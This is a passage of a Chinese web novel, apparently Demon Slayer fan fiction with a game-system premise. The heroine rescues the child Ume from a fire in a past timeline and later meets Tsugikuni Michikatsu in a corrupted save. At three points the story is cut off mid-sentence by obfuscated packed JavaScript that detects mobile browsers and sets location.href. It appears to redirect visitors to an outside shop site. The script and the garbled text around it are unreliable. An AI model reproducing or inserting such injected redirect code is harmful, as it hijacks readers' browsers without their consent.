“你是说...想让我给你开个副本,回到特定的时间线?” “能做到吗?” “能是能,但有个问题。”朝隼那边传来噼里啪啦的键盘敲击声,“那些日志里保留的时间线数据都是碎片化的,我不能保证你完整地经历整个过程。” “可能只能待一小段时间,就被强制弹出来。” “大概能维持多久?” “大概半个小时到一个小时?我尽力调了,数据损坏的太严重。” 朝奈点头:“够了。” 又是一阵键盘敲击声,然后朝隼的声音传来:“行了,我给你开了一个通道,你找个地方触碰一个和堕姬有关的的物品,然后就能进去了。” “知道了。” 朝奈的目光回到堕姬的脸上,她还保持着刚才暂停时的姿势,那袋金平糖被她攥在手里,表情茫然。 她看着小梅那张美丽的脸上残留的困惑。 “等我回来。”她低声说。 然后伸出手,轻轻碰了碰堕姬发饰上的簪子。 - 眼前的画面扭曲了一瞬,下一秒,她便站在了一条破旧的街道上。 空气中弥漫着混杂的气味。 脂粉,酒气,还有垃圾腐烂的酸臭。 歪歪斜斜的建筑挤在一起,屋檐压着屋檐,这里就是过去的游郭。 [系统提示:您已进入隐藏副本] [警告:请勿干涉关键事件] 朝奈没有耽搁,径直往地图上标记的地点走去。 目的地是一家最普通的游女屋,门口挂了一块褪色的布帘。 她穿过那扇破旧的门,走上嘎吱作响的木楼梯。 楼道很窄,从门缝里能看见里面简陋的陈设。 有说话声从某个房间传来。 “哥哥,你看!” 朝奈的脚步顿了一下。 那应该是小梅的声音。 她循着那道声音走过去,在一扇半掩着的纸门前停下,透过门缝看见了那个孩子。 七八岁的模样,眼睛又大又亮,尽管还是个孩子,却已经能窥见她长大后无比美丽的模样。 她正举着一朵不知从哪里摘来的野花,献宝似的给面前的男孩看。 男孩瘦得有些畸形,正看着妹妹,嘴角有一丝极浅的弧度。 “好看。” 小梅满意了,把那朵花小心翼翼地别在耳后,转了个圈。 “等我长大,要戴好多好多花!” “嗯。” “还要穿最漂亮的和服,比所有人都漂亮!” “嗯。” “哥哥到时候要来看我!” 男孩沉默了一下,点点头。 “好。” 小梅开心了,扑过去抱着他。 朝奈站在门口看着这一幕。 多美好啊,健康活泼,被哥哥好好保护着的小梅。 40.第四十章 时间在碎片中不断流逝,跳跃。 朝奈看见了他们母亲去世的那个夜晚。 妓夫太郎站在门外一动不动,沉默着什么都没说。 天亮的时候,他走进房间把小梅抱起来。 “走了。”他对小梅说。 小梅搂着他的脖子,把脸埋在他肩上。 “哥哥,我们以后怎么办?” 妓夫太郎摸摸她的头。 “没关系。” “只要我们俩在一起,就是无敌的。”他笑着说。 - 画面变幻,这一次朝奈站在一间阁楼前。 一种大事即将发生的预感涌上心头。 她知道关键节点要来了。 浓烟正从窗户里涌出来,火舌舔舐着木质的墙壁,发出噼啪的爆裂声。 楼下有人不停地大喊“走水了”,一大群人尖叫着逃窜,也有人提着水桶跑来试图抢救。 可是,那群人里没有一个人往这间阁楼跑。 因为着火的是没人关心的,死去游女的孩子住的地方。 朝奈看着那扇即将被火焰包围的门,知晓时间不多了,得赶快行动。 她争分夺秒迅速向前跑,穿过火墙,踏进那个即将被烧成灰烬的房间。 浓烟让她几乎睁不开眼,她努力眯着眼睛看清视线前方。 角落里,那个女孩正试图用一块湿布捂住口鼻,奄奄一息地蜷缩着。 朝奈想起主世界里堕姬说那句话的表情。 “我以为自己就要这么死去了。” 她以为自己要死了,却没有放弃求生的欲望,还在挣扎着想办法。 朝奈深吸一口气。 [警告:检测到干涉行为] [警告:您正在违反副本规则] [警告:强行干涉可能导致——] 真是一点也不懂眼力见啊。 她关闭了系统提示。 - 小梅紧紧捂住口鼻。 门要被烧断了,楼道里全是火,她也没有力气爬到窗户那里往下跳了。 怎么办? 她不想死。 哥哥还在等她... 她要怎么办?逃出去…真的做得到吗? 就在这危急之时,突然,一只手握住了她的手腕。 很冰,在这样灼热的火焰里,那只手的凉意反而让她意识清醒。 她猛地转头,烟雾中,一个人影蹲在她面前。 是一个姐姐。 很漂亮的姐姐,穿着她从没见过的那种好看的衣服,脸上带着她看不懂的笑容。 “别害怕。”漂亮姐姐说,声音放得很轻,像是怕吓到她,“我是你哥哥的朋友。” 小梅愣住了。 哥哥?的朋友? 哥哥什么时候交的朋友? “来。” 她伸出手。 “抓紧我,”那个姐姐说,“我们跑出去。” 她愿意冒着生命危险来救自己,一定是好人。 小梅点点头,紧紧握住那只手。 - 火已经烧到了楼梯口。 朝奈牵着小梅的手,在浓烟中拼命奔跑。 木质的楼梯有几级已经被烧穿,露出下面熊熊燃烧的火焰。 朝奈没有犹豫,直接抱起小梅,踩着还完好的边缘一跃而过。 火舌从四面八方舔过来,热浪灼得皮肤发疼。 “抓紧了。” 朝奈的声音从头顶传来,很平静。 下一秒,她撞开了走廊尽头的窗户。 月光和冷风同时涌进来,吹散些许浓烟。 窗外的夜空中繁星点点。 朝奈踩在窗户口,毫不犹豫地跳了出去。 坠落的一瞬间,时间好像也变慢了。 月色照在她们身上,镀上一层银白色的光边。 小梅抬起头,看见朝奈的头发在夜风中散开,好像某种她交不出名字的花。 那张脸上看不见一丝恐惧,只有一抹淡淡的笑意。 “不要害怕。”她说。 她们的手紧紧握在一起。 风从耳边呼啸而过,火焰在窗户里燃烧,把夜空映成有温度的橘红色。 身体在空中下落,衣袂翻飞,宛若两只交缠着坠落的蝴蝶。 小梅觉得,这是她这辈子见过的最美的画面。 然后,轻盈的落地。 朝奈的双脚稳稳踩在地面上,她把小梅放下来,低头检查了一遍。 “有没有受伤?” 小梅摇摇头。 她抬头看着面前的姐姐,除了答谢的话,不知道该说什么。 朝奈站起身,继续牵着她的手。 “走吧。”她说,“我带你去找哥哥。” - 妓夫太郎今天运气很不好。 那个欠债的男人躲出去了,只留下老婆孩子在家里。 女人哭着说没钱,男人都好几天没回来了,孩子饿得嗷嗷叫。 他站在院子里听着那些话,面无表情。 周围的邻居围了一圈,指指点点,窃窃私语。 “那不是妓夫太郎吗?又来找麻烦了。” “也不看看自己什么出生,还敢来要债。” “妓女生的孩子能有什么出息,也就只能干干这种催债的脏活。” “脏死了,离他远点吧。” 几片菜叶子飞过来,砸在他肩膀上,留下几道污渍。 他没躲。 更多菜叶子飞来,还有烂掉的萝卜,发臭的鸡蛋。 他就那么站着,一动不动,任由他们把那些东西砸在身上、脸上。 早就习惯了,一直都是这样。 从他记事起,所有人都在骂他,唾弃他。 他是游女生的孩子,连母亲也不要他,他是肮脏的,低贱的,不该存在的东西。 只有一个人不这么觉得。 只有一个人,他拼命也要保护的人。 “哥哥——” 那个声音忽然响起,妓夫太郎猛地抬起头。 小梅向他跑来,脸上带着焦急的表情,似乎刚才经历了什么可怕的事。 在她身后跟着一个女孩,步伐从容,完全没将周围那群围观者放在眼里。 小梅跑到他面前,一把抱住他。 “哥哥!”她的声音闷在他怀里,“我还以为自己要被大火烧死了...那个姐姐救了我,她说她是你的朋友。” 妓夫太郎看着怀里完好无损的妹妹,大脑一片空白。 大火。 烧死? 还好她没出事。 这个念头反复冲击着他的神经,让他喉咙发紧。 “啧啧啧,果然是一路货色。” 周围的窃窃私语又响了起来。 “那个女孩是谁?怎么会认识他这种人?” “这种人或者就是浪费粮食,还不如烧死——” 妓夫太郎的手指微微蜷缩,这些话他早就听习惯了,可是今天小梅在这里,他不想... 朝奈的脚步停住了,她转过身,看着那群人。 “他身上的东西,”她开口,声音刚好让每个人都能听见,“是谁扔的?” 人群安静了一瞬。 然后有人嗤笑着出声:“你谁啊?管得着吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277764|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “就是,一个妓女生的脏东西,扔他怎么了?” “你跟他什么关系,不会也是——” 话音未落,说话那人的嘴巴忽然张不开了。 一层薄薄的冰霜从他嘴唇开始蔓延,迅速覆盖住了嘴唇让他开不了口。 他惊恐地瞪大眼睛,发出呜呜的声音,拼命想要说些什么,但一个字都说不出来。 朝奈站在原处,右手微微抬起,指尖还残留着淡淡的寒气。 “积点德吧。”她淡淡地说,“不然下辈子,得投胎成畜生了。” 周围的人尖叫着后退,没人敢再说话。 朝奈收回手,转身走回小梅身边。 她像变戏法一样,拿出一个包裹,递给妓夫太郎。 “这是?” “离开这里吧。”朝奈看着小梅紧紧牵着她哥哥的手,听着耳畔朝隼断断续续的声音,她知道这个副本的时间所剩无几。 “带着小梅,离开游郭。” 妓夫太郎愣住了。 离开? 从出生起,他们就活在这里,从来没想过要离开。 离开了,能去哪里? 朝奈看穿了他的心思。 “往北走,走一段时间,”她把朝隼的话复述了一遍,“有一个小镇,镇子上的人都很善良,会接应你们。” “那里没有债要催,你可以找个正经活干,小梅也可以健康长大,不用再住破屋子,也不用挨饿受冻。” “她可以穿漂亮的和服,戴好多好多花。” “你们两个,”她温和的目光注视着兄妹二人,“以后会过得很好。” 妓夫太郎颤抖着接过那个包裹,沉甸甸的,如同被美好的未来塞了满怀。 小梅仰着脸看着她,眼里的光在闪烁。 “姐姐,”她的声音很甜,“你不跟我们一起走吗?” 朝奈摸摸她的头,“我还有别的事情要忙哦。” “你和哥哥快去吧,要听哥哥的话。” “可是...那些坏人...” “你忘了吗,和哥哥在一起——” “和哥哥在一起——我们就是无敌的。” 小梅接上了那无比熟悉的话,用力地点头,眼睛亮晶晶的。 妓夫太郎牵着小梅的手,对她无比郑重的道谢。 然后他们就这么手牵手,在月色下朝远方走去。 小梅回头,最后看了她一眼,想要把她的样子记住。 朝奈冲她挥挥手,然后也转身,朝着完全相反的方向走去。 - 她走在游郭的街道上。 天色将明未明,是最暧昧的那种灰蓝色。 她的脚步很轻,踩在沾着露水的石板上,发出细微的声响。 百年前的游郭,没有华丽的灯笼装饰,也没有精致的招牌。 那些店门口褪色的布帘在风中轻轻摆动,有只野猫从屋檐上跳过,碰落几片瓦,碎在巷子里。 [系统提示:特殊隐藏副本即将结束] [检测到玩家有违规行为,系统正在处理中] [*****************] 熟悉的乱码音跨越了时间线在耳边响起。 下一秒,系统结算音恢复了正常,仿佛刚才的违规处罚只是幻觉。 不需要太多言语解释,她知道是谁。 朝奈想起自己对小梅说的那句话。 “你有一个很好的哥哥,我很羡慕。” 前半句是真心话,妓夫太郎确实是一个很好的哥哥。 后半句话是她瞎说的,她从来都没羡慕过。 因为她也有。 41.第四十一章 [系统提示:副本即将结束] [倒计时:......] “10。” 朝奈在倒数。 她路过一家已经关门的小店,门口堆着几只空酒坛。 “9。” 一个醉汉倒在墙角,衣服皱成一团,手里还攥着喝空的酒瓶。 他的呼吸很沉,鼾声在空旷的街道上回荡。 “8。” 她收回目光,继续往前走。 能感觉到这个副本正在变得极其不稳定。 远处的房屋轮廓开始模糊,像一幅被水洇湿的画,天空的颜色也在变,从漆黑过渡到了灰白。 整个世界雾蒙蒙的。 “7。” 她还是慢悠悠地走着,步伐从容地如同在普通的夜里散步。 “6。” 路过一座小桥。 桥下的水很浅,能看见底部的鹅卵石,水面上漂浮着几片落叶,打着旋,慢悠悠地往下游飘去。 “5。” 桥的另一边雾气更浓了,几乎看不见对面的景象,只能隐约辨认出几道模糊的轮廓。 房屋,行人,或者是别的东西?分不清。 “4。” 朝奈踏上桥面,木屐踩在石砖上发出清脆的声响。 “3。” 走到桥中央时,忽然有风从河面吹来,很轻,带着凉意。 “2。” 她抬起头,看向前方,注意到桥的另一头有一个人。 那人站在雾里,身形看不真切,只有那双眼睛隔着即将崩塌的世界,正看着她。 熟悉的七彩眼瞳在浓雾之中,亮得宛若散发光泽的宝石。 “1。” 夜风在这一刻突然变大了,朝奈的头发被风吹起,衣摆在风中翻飞。 她站在桥中央,隔着半座桥的距离,和那双眼睛对视。 他的脸上是什么表情? 隔得太远了,看不清。 大概是在笑吧,她猜。 他总是笑着的。 “0。” 世界在眼前彻底崩塌。 那些歪斜的房屋像失去支撑般向内坍缩,天空碎成无数片透明的光点,桥下的河水开始朝着天空倒流。 醉汉、夜猫、那些褪色的布帘,所有的一切都在同一瞬间瓦解,消散。 只有那双眼睛还在。 隔着正在崩塌的世界,隔着浓雾和倒流的河水,一直在看着她。 然后—— - 朝奈意识回笼。 面前是熟悉的房间,熟悉的矮几,熟悉的茶杯,熟悉的那袋金平糖还在堕姬手里攥着。 窗外的灯河依旧静静随风摆动。 一切都和离开之前一模一样。 时间从暂停恢复正常流速,朝奈平静地对上童磨的视线。 斜对面,童磨撑着下巴在看她。 那双七彩琉璃瞳弯着,脸上的笑容一如既往,在此刻显得温和又无害。 “朝奈酱。” 他的声音还是那么漫不经心,“你刚才去了哪里?” 坐在他正对面的堕姬茫然地抬起头:“什么去了哪里?她刚才不是一直坐在这里吗?” 话音落地,房间只剩下呼吸声。 矮几上的那杯茶还冒着若有若无的热气,一切都和之前一样。 朝奈没回答童磨,她注意到了房间里的不对劲。 茶杯为什么在颤抖? 光线也变得很奇怪。 房间里的灯光突然晃了一下,她警觉的查看四周,榻榻米也在变。 就在她眼皮底下,那些整齐的纹路逐渐模糊,然后另一层画面从底下浮了上来,焦黑的木板,崩裂的缝隙,还有从缝隙里往外渗的火光。 那层画面里的火和静静立在房间里仍是原样的矮几,宛若两个不同的图层叠加,在眼前形成了一副怪诞的画面。 火焰从木质的纹理里钻出来,舔舐着空气,眨眼间又缩了回去,榻榻米恢复如初。 堕姬保持着原来的姿势坐在那里,目光直直的盯着前方某个角落,瞳孔剧烈颤抖起来。 朝奈顺着她的视线看过去。 房间的那个角落,什么都没有,一扇完好的纸门,上面绘着淡雅的梅花图案。 下一秒画面闪回,角落中蜷缩着一个女孩。 七八岁的模样,努力捂住口鼻,被浓烟呛得不停咳嗽。 她的眼睛通红,仍倔强地睁着,盯着那扇即将被火焰吞没的门,像是在等一个一定会来的人。 那女孩是小梅。 百年前的小梅。 堕姬看着小女孩,嘴唇动了动,发不出任何声音。 她看见浓烟越来越厚,厚到女孩的脸也几乎要看不清了。 然后一只手,从画面外伸出来,握住了女孩的手腕。 堕姬的呼吸都顿住了,她记得那只手。 是谁? 为什么她会这么熟悉? 画面又开始闪动,这一次整个房间都在闪。 现在的房间、过去的房间,干净的榻榻米、焦黑的木板,暖黄的灯光、跳动的火焰。 两个画面交替变换,像有人在幕后拉了上百次灯绳。 朝奈坐在原地,能感觉到空气在变,时而是夜晚的凉意,时而是火焰的灼热,热浪铺在脸上。 幻觉也会如此真实吗? 她看着童磨一动不动地坐在那,还是那副样子,周围的时空错乱似乎对他毫无影响。 火焰和浓烟在他面前好像不存在般。 他好奇地打量着四周,辨认着什么。 坐在对面的堕姬大口喘着气,看着落了一地的金平糖,眼泪忽然就流了下来。 她都想起来了。 “是你。” “那个夜晚,是你。” 堕姬眼眶红得厉害:“我想起来了,全都想起来了。” “你从火里把我救了出来,是你带我去找哥哥,给我们粮食让我们走...” 焦黑的木板开始剥落,宛如墙皮一片一片往下掉,掉到一半就化作灰烬散在空中。 火焰从四面八方涌进来,却烧不到任何东西。 过去的火,烧不到现在的人。 堕姬任由那些火焰穿过身体,灰烬落在她身上又消失。 她在看那个女孩,小女孩也在看她,目光好像无声在询问:你过得好吗? 她的眼泪流得更凶了,想告诉女孩“你活下来了,你活了一百多年,再也没挨过饿受过冻,你变成了最漂亮的鬼,大家都夸赞你——” 可是她什么都说不出来。 因为她在这一瞬间忽然想起,那个女孩最想要从来不是这些。 她只想和哥哥在一起。 永远在一起。 小女孩嘴角微微弯起,她开口说了什么。 隔着火焰、浓烟和百年的时间,堕姬听不见她的声音。 可是她看懂了。 小梅的身影开始变淡,像烟雾一样,慢慢消散在火焰之中。 堕姬下意识伸出手想抓住她,手穿过了空气,什么都没有。 她呆呆地保持着伸手的姿势,眼泪无声地流。 朝奈走到她身边。 “如果想起来了所有忘掉的事情,我还有重新来过的机会吗?”堕姬的声音沙哑得几乎听不清。 “当然。”她轻轻握住了那只悬在半空的手。 “可是,”堕姬的声音哽住了,“我变成鬼之后,杀了那么多人...小梅不会想变成这样——” 朝奈替她擦了擦眼泪,“如果要去地狱赎罪,小梅,你会害怕吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过按你说的,全都解决了。”朝隼的语气里带着点满意,“上弦陆的净化进度已经达到95%了,剩下的那点估计兄妹俩见面后,把事情都说开就差不多了。” “但是现在呢,又有一个新的问题,”他又变得严肃起来,“你现在这个档,继续玩下去会死档。” “系统崩了把存档搞废了?” “对,刚才的乱码把数据弄得乱七八糟,再待下去你会被卡在某个错误的时间线里出不来,我现在准备把你传送到别的存档里去。” 朝奈沉默了一秒,“你什么时候存的?” 怎么有种非常不好的预感呢。 “之前备份过几个,挑了一个比较稳定的,应该不会出太大问题。” “应该?” 朝隼干咳一声:“可能,会出现一点点剧情错乱?不会很多,你到时候稍微注意一点就行。” 画面开始晃动。 [系统提示:正在退出当前存档...] [系统提示:正在加载备份存档...] [系统提示:加载完成] [欢迎进入第???次迭代] 系统提示框不断跳出。 朝奈的意识已然被抽离。 就在这时,无人注意到的角落。 童磨原本被强制暂停的手指,微微蜷缩了一下,像是想要抓住什么。 42.第四十二章 朝奈眨了眨眼睛,身体的感觉还在,意识也很清晰,没有任何不适。 “朝隼?” 没有回应。 她又喊了一声,还是静悄悄的。 窗外传来隐约的人声,街道上行人络绎不绝。 朝奈站起身,走到门边拉开门,走廊尽头传来杯盏碰撞和客人谈笑的声音。 她正准备向前迈步。 “哎,小悠姐姐,你在这啊!” 一个同样穿着素淡和服的年轻女孩小跑过来,气喘吁吁地拉住她的手腕,“客人那边等着上茶呢,阿紫姐姐找你半天了,快跟我来。” 朝奈来不及回答,就被拽着往前走。 穿过走廊,绕过一道屏风,眼前是一间宽敞的屋子。 房间里坐着五六个人,穿着各异,有穿西装的,有穿和服的,还有几个打扮得像商人的中年男人。 桌上摆着酒菜,气氛看起来还算融洽。 朝奈的目光一下子落在角落那个人身上。 那人坐在最靠里的位置,离其他人稍微远一点,像是刻意保持距离。 男人穿着深色的和服,坐姿端正如松,漆黑的长发在脑后高高束成马尾,发尾垂落在肩侧,衬得那张脸愈发清俊凌厉。 继国严胜?他怎么会在这里? 旁边的中年男人正凑在他耳边说着什么,脸上带着讨好的笑。 严胜微微侧过头听,表情没什么变化。 和她记忆中的人一样,只静静地坐着,像一柄收鞘的刀。 急匆匆拉她来的女孩把她往前推,“快去快去,茶盘在那儿,你端进去给客人上茶就行。” 不属于这个时代的人出现在了这里,估计这就是朝隼说的剧情错乱。 朝奈也没想太多。 既来之则安之,她倒要看看这个存档里的剧情要怎么发展。 她端起茶盘。 托盘上是几杯刚沏好的茶,热气袅袅上升,朝奈稳稳地端着,走了进去。 屋内的谈话声停了一瞬,几道视线扫过来,又移开。 她挨个给客人上茶。 第一碗给左边那个聒噪的胖子,“客人,请用茶。” 胖子接了过去,冲她挤了挤眼。 第二碗递给小胡子,小胡子喜笑颜开地看着她。 朝奈全都无视了,走向坐在角落的第三个人。 就在这时,她踩到了榻榻米上一处不知谁洒的水渍。 身体失衡的瞬间,她的脑子里只有一个念头:严胜会是什么反应呢? 是的,她完全是故意的。 纯纯的碰瓷。 茶杯脱手,在空中划过一道弧线,墨绿色的茶汤泼洒而出,不偏不倚,尽数洒在了剑士的衣袖上。 房间里是死一般的安静。 朝奈的手还保持着捧杯的姿势,看着面前的人深色衣袖上洇开一大片深色的水渍,水滴从袖口滴落,落在他的膝上。 “嘶——”左边传来倒吸凉气的声音。 “完了完了...”小胡子也压低了声音。 朝奈此刻正在观察严胜,他的目光从自己的袖子移到她脸上,停留了几秒。 “对不起。”她率先开口,语气平稳,“是我手滑了,我这就去拿布巾。” “无妨。”不高不低,声音十分清冽。 就像他这个人一样。 朝奈其实有点小失望,她还以为在这个错乱的存档里会遇到一个不一样的继国严胜。 目前看来,只是时代背景变了,他还是他。 她端着空了的茶盘起身,对上严胜那双波澜不惊的眼睛。 “失礼了。” 她说完转身往外走,重新端了一杯茶进来。 这一次她的动作稳了许多。 “客人,请用茶。” 严胜接过茶碗,他垂眼看着茶汤表面的泡沫,低声开口,“你叫什么名字?” 房间里的气氛又微妙起来。 小胡子的表情变得有些古怪,几个商人交换了一下眼神,胖子更是微微张大了嘴。 朝奈倒是很淡定,波澜不惊地回答完自己起的假名,就走出了房间。 门在身后合上的瞬间,她听见小胡子压低声音说:“继国兄,你这是...难得啊,每次都得拖着你来,头一回见你问姑娘名字——” 后面的话被门隔绝了。 走廊上,刚才拽着她来的女孩正趴在柱子后面,眼睛瞪得溜圆。 “你你你,”她指着朝奈,一脸不可置信,“你把茶汤洒在继国先生身上了?” “嗯,不小心的。” 并非不小心。 “然后他问你名字了?!” “对。” 不过报的假名。 女孩的表情从难以置信变成了目瞪口呆。 “那可是继国先生啊,”她喃喃道,“来荻本屋这么多次,从来不和人闲聊,就坐着喝茶,听日和先生废话...咱们这好多姑娘喜欢他,都不敢上前搭话...” 朝奈把茶盘放了回去,一脸淡定。 “他是什么人?”她随口一问。 女孩还沉浸在震惊中,闻言压低声音,像是分享什么不得了的秘密:“继国先生啊,是非常有名的剑士,日和先生想请他指点自家道场的弟子,这才三番两头往这带,想讨好他呗。” 朝奈点点头,系统倒是会圆场子。 剑士和严胜的本职倒是一样。 不过,他完全可以直接拒绝的吧。 “还有,”女孩的眼珠转了转,凑得更近,“我听厨房的松婆说,继国先生可不是普通剑士,他家里好像很有来头,穿的衣服料子都是京都老铺的,腰间那把佩刀,看着就值钱。” 京都老铺的料子? 还好刚才她没说要赔人家。 现在这个存档里她不能说身无分文,也只能说一贫如洗吧,点开人物面板一看,余额居然是0诶。 她回想了一下刚才那件深色的和服,袖口被茶水浸湿后,音乐能看见暗纹,确实不是寻常货色。 嗯,严胜是好孩子,不会和她一般计较的。 “小悠姐姐,”女孩突然抓住她的袖子,“你说继国先生是不是对你有意思啊?不然干嘛问名字?” “想多了,”朝奈想都没想直接否认,“只是礼貌。” “才不是!之前上茶的阿泷不小心把茶洒在他身上,他一个字没说,直接起身走了,之后很久都没来过。” “今天他居然说无妨,还问你名字,这不是有意思是什么?!” 朝奈沉默了一秒。 她想起刚才那双波澜不惊的眼睛。 在她故意摔倒的时候,似乎有点不一样。 认出她了? 不可能吧,这个存档里的严胜怎么可能会有别的存档里的记忆? “小悠姐姐?”女孩见她出神,伸手在她面前晃了晃。 朝奈回过神,“没事,茶上完了,阿紫喊我还有别的事,我先走了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朝奈点开自己的任务面板,发现之前的大主线“寻找青色彼岸花”旁边多了一把灰色的锁,已经变成了不可完成状态。 紧接在下面的是另一个任务:[寻找非本存档介入者] 好啊,游戏系统出现了错误,还得要玩家自行处理解决是吧? 朝奈被这破系统气笑了。 - 几日后,荻本屋。 今日午后阳光正好,窗外街道上路过的行人摩肩擦踵,各种小贩的叫卖声接连不断。 而朝奈呢,正在思考人生。 她觉得自己大概会成为这个存档里,全游郭最闲的人。 游女们跳舞的跳舞,陪客人聊天的聊天,总之提供各种情绪价值。 最近的生意很好,后厨的厨师要忙着准备饭菜,连老板娘也有自己的帐要算。 她呢? 谢邀,她在看人下棋,而且一看就是一盘接一盘,连个吐槽对象都没有。 房间里很安静,只有棋子落在棋盘上的清脆声响。 光线从窗户斜射进来,在榻榻米上投下明亮的光斑。 严胜坐在窗边,深色的和服衬得他整个人像一幅画。 他的手指修长,骨节分明,落子的动作从容不迫。 对面坐着一个中年男人,穿着一身略显宽大的和服,精气神很足但头发已经有些花白。 那位是木村先生,据说是严胜的旧识。 43.第四十三章 虽然严胜只是一个剧情错乱生成在此存档的角色,与其设定相关的东西意外地很严谨。 朝奈坐在一旁的角落里,闻着空气中淡淡的茶香。 面前摆着一壶茶和一碟点心。 老板娘喊她添茶倒水,实际上她已经在这干坐了大半个时辰,甚至都不需要起身。 她从墙壁上的画有多少片叶子数到茶几上有多少道纹路。 中途还有闲工夫思考严胜那身深色的衣服那么吸热,为什么他不出汗? 木村先生看着岁数也不算特别大,怎么就白了头发? 房间里的两人一个执黑,攻势凌厉,落子如飞,一个执白,不动如山,沉吟良久。 棋盘上黑白交错,局势焦灼。 她的目光在那些纵横交错的线条上转了一圈,然后在心里叹了口气。 怎么真的有人来游女屋不是喝茶就是下棋啊? 这里是干这种事情的地方吗? 她在错误存档的这些天里,见过的客人没有一百也有八十。 什么喝得烂醉胡言乱语说要娶老板娘的,什么对着游女们吹牛说自己家财万贯结果酒钱都得赊的,都是家常便饭。 甚至还有人趁着酒劲动手动脚,又或者是哭哭啼啼诉说自己过往悲惨的情史,朝奈都感觉自己的耳朵受到了玷污。 总之,什么样的奇葩都有。 但来这下棋的,真的只有面前这位。 朝奈看着严胜那张神情淡然的脸,想起别的姑娘们私底下的议论。 “继国先生啊,来这么多次,从来不叫人陪。” “上次阿泷又想凑过去说话,他看了她一眼,阿泷就没敢再往前了。” “那眼神也不凶,就是...就是让人不敢靠近。” “真不知道他这样的人为何要来这里。” 朝奈瞥见对弈的两人棋盘旁已经凉透的茶,眼看他们没有任何要换茶的意思,也乐得清闲。 这时有点怀念直播间的弹幕吐槽,只可惜在切换副本的时候直播掉线了,她那会没顾得上重连。 窗外传来一阵大笑,反倒衬得这间屋子更安静了。 她把茶杯放下,换了个姿势继续坐着。 从窗外斜进来的阳光刚好落在她脚边,她盯着看了一会,思考起系统发布的怪异任务。 寻找非本存档介入者。 眼前的继国严胜俨然就是误入错误时间线的人。 可是,问题真的会有这么简单吗? 这游戏系统八百个心眼子,朝奈不信系统会发布这种简单的送分题。 木村落下一子,装作不经意般开口,“继国兄。” 严胜看着棋盘,淡淡地应了一声,“嗯。” “最近怎么总答应他来这里?” 朝奈倒也不是有心偷听他们的对话,就这么个屋子,抬头不见低头见的,根本没办法回避。 她知道这句话里的“他”指的是日和先生,这几次来荻本屋,名义上都是日和先生的邀约,但其实日和先生最近不在,就严胜和木村先生一起下棋。 对话在这里停住了片刻。 双方各自落下一枚棋子后,严胜才幽幽开口。 “为了见一个人。” 日光在他身上落下一层淡金色的光,睫毛在眼睑下投下淡淡的阴影。 他说这话时,神色专注,仿佛完全沉浸在了棋盘上的战局中。 木村摸了把自己的小胡子,随即露出一个意味深长的笑。 “哦?”他拖长调子,目光在房间里转了一圈,故意略过了角落里的那道身影,“这个房间里是谁值得继国兄这般惦记呢?” 严胜没说话。 木村的笑更深了。 他捻起一枚棋子,在指间转了转,慢悠悠地说:“我认识你多少年了?” “十三年。”严胜说。 “对,十三年。”木村点头,“这十三年里,倒是没见过继国兄说这般话。” 见对方没有要回答的意思,他也不追问,低头去看那步棋。 看着看着,他的眉头皱了起来,执棋的手半天没有落下去。 “你这步棋倒是有点意思。”他赞许道。 又看了半天,木村终于落下一子。 朝奈看着那步棋,知道下得并不好。 从局势上看,黑棋本来还有一点机会,但这一步之后,白棋的优势已经呈压倒之势了。 她收回自己的目光,继续喝茶。 不过木村已经注意到了她的视线。 他转过头,“怎么,小悠姑娘看得懂棋?” “略懂一点。” “是吗?”木村来了兴趣,“那你说说,刚才那步棋怎么样?” 朝奈想了片刻,开口,“黑棋刚才那一子,落得急了。” 木村示意她接着说。 她指了一下棋盘上的某个位置,“如果是我,会先在这里落一子,逼白棋应一手,然后再转回刚才的位置。” “这样虽然救不了大局,但至少能多撑二十手。” 闻言,木村盯着她指的那个地方看了一小会,由衷地发出赞叹,“妙啊!妙啊!” 他哈哈大笑,把手里的棋子往棋盒里一丢,站起身,“行行行,我彻底认输了。” “跟继国兄下棋,实在是愧不能及也。” 严胜见状也收了棋子。 木村冲朝奈挤了挤眼:“小悠姑娘,你陪他下一局?” 朝奈其实是想拒绝的,因为她之前和黑死牟下过,水平确实不在一个层级。 不过她有些话想单独问严胜,便答应了下来。 木村先生走后,朝奈坐在棋盘前,严胜就在对面。 两个人都没有要重启棋局的意思。 棋盘被照射进来的日光映出一道明亮的痕迹,把那一片的黑白棋子照得反光。 朝奈盯着棋盘上的纹路,想了想还是开了口。 “继国先生。” 与此同时,坐在对面的人也开了口。 “小悠姑娘。” 两个人的声音重叠在一起,又同时停住。 她愣了一下,抬眼看他。 严胜的表情倒是没什么变化,他微微抬手,做了个请的手势,“你先说吧。” 朝奈没推辞,把那个在心里转了好几圈的问题问了出来。 “你会不会偶尔觉得,”她注视着对方的眼睛,“这个世界有些奇怪呢?” “要看是以什么样的视角。” 他回答的声音很平静,似乎不带有任何情绪。 品了品,她却觉得严胜这句话里有话。 片刻后她询问:“那么,你的问题是什么?” 严胜的眉梢微动,深邃的目光宛若在透过她寻找另一个人的身影。 他淡淡地问,“你不是小悠姑娘,对吧?” 该说不说,不愧是月柱。 太敏锐了。 虽然她也没打算藏好自己的马甲,但系统NPC居然会对玩家的身份产生质疑?< 